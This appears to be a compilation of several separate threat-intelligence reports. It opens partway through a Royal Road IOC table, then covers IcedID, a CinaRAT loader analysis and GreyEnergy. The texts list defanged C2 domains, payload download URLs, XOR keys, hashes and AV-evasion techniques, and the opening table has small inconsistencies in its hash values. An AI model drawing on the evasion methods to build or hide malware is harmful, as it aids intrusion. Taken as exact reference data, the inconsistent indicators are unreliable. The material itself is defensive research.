cb8eb16d94fd9242baf90abd1ef1a5510edd2996 | 6/16/2022 Royal Road Document “Вниманию.doc” | | 41ebc0b36e3e3f16b0a0565f42b0286dd367a352 | 6/15/2022 (Estimate) Royal Road Document “Анкетирование Агентства по делам государственной службы.rtf” | | 2abf70f69a289cc99adb5351444a1bd23fd97384 | 6/20/2022 Royal Road Document “17.06.2022_Протокол_МРГ_Подгруппа_ИБ.doc” | | supportteam.lingrevelat[.]com | C2 Domain | | upportteam.lingrevelat[.]com | C2 Domain for cb8eb16d94fd9242baf90abd1ef1a5510edd2996 | | 2b7975e6b1e9b72e9eb06989e5a8b1f6fd9ce027 | 6/21/2022 Royal Road Document “О_формировании_проекта_ПНС_2022_файл_отображен.doc” | | a501fec38f4aca1a57393b6e39a52807a7f071a4 | 6/21/2022 Royal Road Document “замечания таблица 20.06.2022.doc” | | 15ce2db3957294d73fa832ed844940735120bae | 6/23/2022 Royal Road Document “Пояснительная записка к ЗНИ.doc” | | news.wooordhunts[.]com | C2 Domain for 415ce2db3957294d73fa832ed844940735120bae | | 137.220.176[.]165 | IP Resolved for C2 Domains news.wooordhunts[.]com, supportteam.lingrevelat[.]com | | 1c848911e6439c14ecc98f2903fc1aea63479a9f | 6/23/2022 Royal Road Document “РЭН 2022.doc” | | 91ca78231bcacab0d5e6194041817b96252e65bf | 5/12/2022 Phishing Email File | | f444ff2386cd3ada204c3224463f4be310e5554a | 5/12/2022 Royal Road Document “Please help to Check.doc” | | instructor.giize[.]com | C2 Server for f444ff2386cd3ada204c3224463f4be310e5554a |
# IceID Banking Trojan Targeting Banks, Payment Card Providers, E-Commerce Sites A new banking Trojan, first spotted by researchers in September, has been targeting banks, payment card providers, and mobile services providers, to name a few industries. Researchers said Monday that a new banking Trojan, IcedID, is still in its infancy but has the potential to rival other big name Trojans, like Zeus, Gozi, and Dridex, in due time. According to researchers with IBM’s X-Force, a division of the company that investigates threats and vulnerabilities, IcedID has been targeting banks, payment card providers, mobile services providers, payroll, and e-commerce websites in the U.S. since September, when it first began making the rounds. Cybercriminals behind IcedID are using the Emotet loader, spread via malicious spam, to distribute payloads. Emotet isn't new; researchers with Microsoft's Malware Protection Center first spotted it back in 2014. At that time the malware was involved in a spam campaign, mostly against German language speakers and banks, that was stealing account usernames and passwords from email and messaging software. Developers behind Emotet added new capabilities this past summer to help it propagate and maintain persistence. While the malware still excels at stealing account credentials – from Google accounts, webmail services, even FTP accounts saved in Internet Explorer – it can also take that information to send out phishing emails from compromised accounts. Like Emotet, IcedID is adept at proliferating; the Trojan keeps tabs on users’ online activity via a local proxy for traffic tunneling. It can also jump from endpoint to endpoint, and infect terminal servers like printers and shared network devices via Lightweight Directory Access Protocol, or LDAP, Limor Kessem, an executive security advisor with IBM, wrote Monday. Like most banking Trojans, GozNym and TrickBot in particular, IcedID uses both web injection and redirection attacks to perpetrate financial fraud. The malware downloads a file from its command and control server to help it determine which web injection attack it will use. Once determined and triggered, the malware executes the web injection and sends the victim to a phony bank site that mimics the one initially requested. After being tricked into entering their credentials, the attacker controls the session. The redirection attacks are designed to look “seamless,” according to IBM. Instead of shuttling a user off to a new, fake site that has a different URL, the attack displays the legitimate bank’s URL in the address bar and the bank’s actual SSL certificate. Researchers suggest that given the similarities of the Trojan, the authors of IcedID may be behind other similar banking Trojans. "While it is still early to tell how it will fare, its current capabilities, distribution choices and targets point to a group that is no stranger to this domain," Kessem, along with Maor Wiesen, Tal Darsan, Tomer Agayev, co-authors on the report, wrote Monday. While IcedID certainly seems like it could be poised to take the throne from those other banking Trojans, it’s clear that some, like Dridex, just won't go away. Earlier this year Dridex adopted a new bypass technique that lets it execute without triggering a Windows UAC alert; it also co-opted a new injection method, known as AtomBombing, to help it evade detection. In April the malware was found being spread in a massive spam campaign that exploited a Microsoft Word zero day. The attacks, which bypassed most mitigation efforts, took advantage of the way Microsoft handled OLE2Link objects. A variant of Dridex just two months ago targeted users of the cloud-based accounting firm Xero. Attackers spoofed messages that came from the service, then tricked users into downloading .zip archives containing a JavaScript file that in turn steals private and personal information.
# CinaRAT Resurfaces With New Evasive Tactics and Techniques **Posted by Nadav Lorber on February 5, 2021** ## Introduction In this post, we will be covering CinaRAT loader's evasive TTPs (tactics, techniques, and procedures) as have been identified and prevented by Morphisec’s zero-trust endpoint security solution, powered by moving target defense technology. We will be reviewing different versions of multi-staged loaders that attempt to inject and execute CinaRAT within the victim’s host memory. CinaRAT code is available on GitHub for download; generally, it's just a rebranded QuasarRAT. We will focus on the evasive components that allowed the attackers to sustain zero detection for such a long period of time (VirusTotal). ## 1st stage - ISO/VBS script Our investigation begins with a Visual Basic script that has been identified in a customer environment. We observed its delivery through an ISO archive file. The script implements reflective loading, persistence, and evasion functionality. The first step is a reflective loading of a remote .NET DLL executable, usually from a GitHub user account represented by an image download. As soon as the image is downloaded and loaded into memory, it is written into a startup folder using an advanced method: in order to copy itself into the autoruns, the script calls “NameSpace(7).Self.Path” that retrieves the autoruns path. This is a unique technique which isn’t often used for malware delivery. The obfuscation method for each version is different, and within each version, the attacker changes the comment line in each code line so they can avoid hash detection. An interesting note is that the string technique utilized in the “GMR” variable evades VirusTotal when it is parsed. These are the main changes between Visual Basic script versions: - Obfuscation, mainly splitting strings - “If” condition within the Powershell in order to validate that the payload was successfully downloaded - Different payloads with different URLs The following table lists a few examples that correlate between the URL download domain to the file path saved within the victim host along with our internal version numbering. | Internal Version | Download URL | Local File Path | |------------------|---------------|------------------| | V1 | hxxps://raw.githubusercontent[.]com/githubaccountz/z/main/a.png | C:\Users\Public\Music\a.jpg | | V1.1 | hxxps://raw.githubusercontent[.]com/githubuser2x/x/master/New.jpg | C:\Users\Public\Music\xt.jpg | | V1.1 + V2 | hxxps://raw.githubusercontent[.]com/githubuser2x/aws/main/Img.jpg | | | V3 | https://raw.githubusercontent[.]com/githubuser2x/x/blob/master/One.html | C:\Users\Public\Documents\One.html | ## 2nd stage - .NET loader As was described in a previous stage, the Visual Basic script delivers a second .NET file. The purpose of this .NET file is to decode the final stage .NET CinaRAT payload and inject it into a legitimate Windows process utilizing process hollowing. This is done with several evasion techniques in order to avoid detection and AI. The RAT payload resides in a base64 encoded string that, during the execution, is decoded and XORed with a string as the key. Once the .NET DLL decodes the RAT, it will hollow legitimate images in memory and inject it. We have observed four different versions along with four subversions between December 8, 2020, and February 2, 2021. It's noticeable that the attacker updated the evasion techniques from version to version in order to avoid detection. The following table lists the different internal versions along with the first seen date either from the attacker’s GitHub or VirusTotal submission. | Loader Internal Version | Github Date | VirusTotal Date | |-------------------------|-------------|------------------| | V1 | December 8, 2020 | | | V1.1 | December 18, 2020 | December 20, 2020 | | V2 | December 24, 2020 | | | V2.1 | December 24, 2020 | December 31, 2020 | | V2.2 | January 16, 2021 | Was not submitted | | V3 | January 23, 2021 | January 27, 2021 | | V4 | January 22, 2021 | January 25, 2021 | | V4.1 | February 1, 2021 | February 3, 2021 | ### Code pattern In each version, the code pattern is different but eventually, the execution flow stays the same except for minor changes. Here are a few examples: - The called method convention is the same in all of the versions (axx.bxx.cxx()) except V4 ([WorkArea.Work]::Exe()). - In V1 and V2, the encoded base64 string is loaded from a variable while in V3 and V4 it’s loaded from a bunch of functions that are joined together to form the string. - The XOR key is the same in all of the versions except in V4. | Version | Key | |---------|-----| | V1 - V3 | !@#$%^&*(gfgghgj)_)*gjgj^$#GJgjgjgjNHGH%^*(&^$#$$%& | | V4 | !@#$%%&*(*))_D!@#DasHF | ### Code obfuscator The attacker obfuscated the code using an unregistered version of Eziriz .NET Reactor, although in V2 and V3 it seems that either they switched to a registered version or discarded the remnant code as the following script was not there anymore. In V4 the attacker did not implement any obfuscator, but in V4.1 the obfuscation was implemented again with the “unregistered” remnant code. ### Code Masquerading From V1.1, the attacker added legitimate namespaces from popular .NET libraries to the loader. This evasion technique tries to disguise the loader as a legitimate .DLL in order to avoid analysis. It's also possible that this technique can bypass AV solutions that implement whitelist rules on chunks from those .NET libraries. | Version | Libraries | |---------|-----------| | V1 | None | | V1.1 | Newtonsoft json.NET | | V2.1 | RestSharp + DiscUtils | Analyzing the submission dates and the first detection dates on all of the loaders in VirusTotal suggests that the code masquerading technique succeeds with bypassing AV solutions. ## 3rd stage - RAT Payload We have observed four different versions of RAT payloads. The first one that was used was QuasarRAT 1.4, while later on CinaRAT 1.0.1.1 was used instead with some modifications. For the C2 domain, the attacker mostly used a dynamic DNS service from myq-see[.]com. The following table correlates the observed RAT version with the C2 domain and Loader version. | RAT Version | Loader Internal Version | C2 Domain | |-------------|-------------------------|-----------| | QuasarRAT 1.4 | V1 | server.homesbill[.]com | | CinaRAT 1.0.1.1 variant A | V1.1 | aptzebi.myq-see[.]com | | V2.1 | aptzebi0.myq-see[.]com | | V2.1 + V2.2 | mahost.myq-see[.]com | | V3 | | | CinaRAT 1.0.1.1 variant B | V4 | aptzebi3.myq-see[.]com | | CinaRAT 1.0.1.1 variant C | V4.1 | zebi4.myq-see[.]com | ## Conclusion The Morphisec platform prevents attacks from CinaRAT with a zero-trust default-deny approach to endpoint security, powered by moving target defense. Customers of Morphisec are thus protected from CinaRAT, regardless of what evasive techniques the attacker deploys to bypass AV and NGAV solutions. ## IOCs ### VB Scripts (Stage 1) | SHA256 | Internal Version | |--------|------------------| | 6dd24a396feba685ed77ee73e20388a571ffee2a857e5269406043aa5a03fb50 | V1 | | 8c07a453e85d6ce766a5cb60dd5d2311f3570f2b818b6050c70bb91cfcecefe4 | V1.1 | | c1112384f112be4ca371297019f4ca8d93d7b76e105014d1b9d54b18aced9124 | V1.2 | | d14a38bf604ba56945f3e16732103dbb47067977e14de567cacf1c09ba20b7f7 | V1.2 | | f1afcbbd219edc56641787aee26420e55a8ab7f088dc900a146361733698c6da | V2 | | addd44ee803082c4667bae68284e316f1a799b72ecbdaae38097ba2c4ccb9d16 | V3 | ### .NET Loader (Stage 2) | SHA256 | Internal Version | |--------|------------------| | f5fd82f7f599b1ed477a6f66388cbe0f2beec9fc28e83d35105cd3222a85d5ab | V1 | | c6e20052ab38341af626b0a07654c763af77fe830d5e216f03ed3b99d944de65 | V1.1 | | cc18946e23d3fd289375912cb1d997be0ae3e71d2b4bcf1a14583f9f3ab4f919 | V1.1 | | ceb9cf440fc521f09a503e90889acb7f51b4c39ce8a8c4d37dd8304fca2db4ce | V2 | | 714cdcd6e144b482d1c98661e894900244862c7135a895f2edfcd7fdac6d84fc | V2 | | 47684fe237efc9dd608bac491db984f7b67b91b9fbf890da788123af8cadbe30 | V2.1 | | e1594447ff87f29d61735f5ce39a8150fae79349b389c8e5dab2c2de30e62966 | V2.1 | | d4235a670e2f7c5232cc9961b843db239e43d0cf3f619c6104b162944b3ee39d | V2.2 | | 32a9caba473f6f19103526c605e65c421adc50421cab6e0a7de9d745b8829778 | V2.2 | | 96fe6bfe32a8cc77adff891b39c45c638c456b48915798e69012ea1e4333560f | V3 | | 4ba57a45bfd29555d3e269abdb6efa391befc164e90813fb0ff2d486b52792ca | V4 | | 230a74b0f306464dcb6e16b9d3c62d364e13c2d69e3c654dce303e1efd3fc6b2 | V4.1 |
# GreyEnergy: Updated Arsenal of One of the Most Dangerous Threat Actors ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks. Recent ESET research has uncovered details of the successor of the BlackEnergy APT group, whose main toolset was last seen in December 2015 during the first-ever blackout caused by a cyberattack. Around the time of that breakthrough incident, when around 230,000 people were left without electricity, we started detecting another malware framework and named it GreyEnergy. It has since been used to attack energy companies and other high-value targets in Ukraine and Poland for the past three years. It is important to note that when we describe ‘APT groups’, we’re making connections based on technical indicators such as code similarities, shared C&C infrastructure, malware execution chains, and so on. We’re typically not directly involved in the investigation and identification of the individuals writing the malware and/or deploying it, and the interpersonal relations between them. Furthermore, the term ‘APT group’ is very loosely defined and often used merely to cluster the abovementioned malware indicators. This is also one of the reasons why we refrain from speculation with regard to attributing attacks to nation states and such. We have already extensively documented the threat actors’ transition towards TeleBots in cyberattacks on high-value targets in the Ukrainian financial sector, the supply-chain attacks against Ukraine, and in an analysis of TeleBots’ cunning backdoor. All from the group most notable for the NotPetya ransomware outbreak. At the same time, we have also been keeping a close eye on GreyEnergy – a subgroup operating in parallel, but with somewhat different motivations and targeting. Although ESET telemetry data shows GreyEnergy malware activity over the last three years, this APT group has not been documented until now. This is probably due to the fact that those activities haven’t been destructive in nature, unlike the numerous TeleBots ransomware campaigns (not only NotPetya), the BlackEnergy-enabled power grid attack, and the Industroyer-caused blackout – which we have linked to these groups for the first time last week. Instead, the threat actors behind GreyEnergy have tried to stay under the radar, focusing on espionage and reconnaissance, quite possibly in preparation of future cybersabotage attacks or laying the groundwork for an operation run by some other APT group. GreyEnergy’s malware framework bears many similarities to BlackEnergy. It is similarly modular in construction, so its functionality is dependent on the particular combination of modules its operator uploads to each of the targeted victim systems. The modules that we have observed were used for espionage and reconnaissance purposes (i.e., backdoor, file extraction, taking screenshots, keylogging, password and credential stealing, etc.). We have not observed any modules that specifically target Industrial Control Systems (ICS). We have, however, observed that the GreyEnergy operators have been strategically targeting ICS control workstations running SCADA software and servers, which tend to be mission-critical systems never meant to go offline except for periodic maintenance. ## GreyEnergy: A Successor to BlackEnergy Some of the reasons ESET researchers consider BlackEnergy and GreyEnergy related are: - The appearance of GreyEnergy in the wild coincides with the disappearance of BlackEnergy. - At least one of the victims targeted by GreyEnergy had been targeted by BlackEnergy in the past. Both subgroups share an interest in the energy sector and critical infrastructure. Both have had victims primarily in Ukraine, with Poland ranking second. - There are strong architectural similarities between the malware frameworks. Both are modular, and both employ a “mini”, or light, backdoor deployed before admin rights are obtained and the full version is deployed. - All remote C&C servers used by the GreyEnergy malware were active Tor relays. This has also been the case with BlackEnergy and Industroyer. We hypothesize that this is an operational security technique used by the group so that the operators can connect to these servers in a covert manner. Compared to BlackEnergy, GreyEnergy is a more modern toolkit with an even greater focus on stealth. One basic stealth technique – employed by both families – is to push only selected modules to selected targets, and only when needed. On top of that, some GreyEnergy modules are partially encrypted using AES-256 and some remain fileless – running only in memory – with the intention of hindering analysis and detection. To cover their tracks, typically, GreyEnergy’s operators securely wipe the malware components from the victims’ hard drives. In addition to the outlined similarities with BlackEnergy, we have observed another link between GreyEnergy and the TeleBots subgroup. In December 2016, we noticed an instance of GreyEnergy deploying an early version of the TeleBots’ NotPetya worm – half a year before it was altered, improved, and deployed in the most damaging ransomware outbreak in history. There is significant code reuse between this ransomware component and the GreyEnergy core module. We call this early version “Moonraker Petya”, based on the malware writers’ choice of filename – most likely a reference to the James Bond movie. It didn’t feature the infamous EternalBlue spreading mechanism, as it had not been leaked at that time. ## GreyEnergy Tactics, Techniques and Procedures We have observed two distinct infection vectors: “traditional” spearphishing and the compromise of public-facing web servers. When such a vulnerable web server was hosted internally and connected to the rest of a targeted organization’s network, the attacker would attempt to move laterally to other workstations. This technique is used not only as a primary infection vector but also as a backup reinfection vector. The attackers typically deploy internal C&C proxies within the victims’ networks. Such proxy C&Cs redirect requests from infected nodes inside the network to an external C&C server on the internet. This is another stealth tactic, as it is less suspicious to a defender to see that multiple computers are “talking” to an internal server, rather than a remote one. A very curious observation – one that is also indicative of the group’s targeting – is that some of the GreyEnergy samples we detected were signed with a certificate from Advantech, a Taiwanese manufacturer of industrial and IoT hardware. These were most likely stolen from the company, just as in the case of Stuxnet and a recent Plead malware campaign. The GreyEnergy operators also employ common external tools in their arsenal, such as Mimikatz, PsExec, WinExe, Nmap, and a custom port scanner. For a detailed analysis of the GreyEnergy toolset and operations refer to our white paper GreyEnergy: A Successor to BlackEnergy. A full list of Indicators of Compromise (IoCs) and samples can be found on GitHub. For any inquiries, or to make sample submissions related to the subject, please contact us at: [email protected].